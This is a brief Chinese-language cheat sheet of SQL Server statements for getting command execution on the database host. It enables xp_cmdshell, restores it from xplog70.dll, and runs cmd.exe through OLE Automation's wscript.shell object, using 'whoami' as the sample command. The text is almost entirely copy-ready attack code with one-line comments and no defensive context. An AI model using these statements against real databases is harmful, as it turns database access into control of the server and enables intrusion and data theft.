参考:
xp_cmdshell
并调用执行命令EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; /*开启xp_cmdshell*/
exec master..xp_cmdshell "whoami" /*执行命令*/
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll' /*使用xplog70.dll恢复xp_cmdshell*/
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\1.txt' //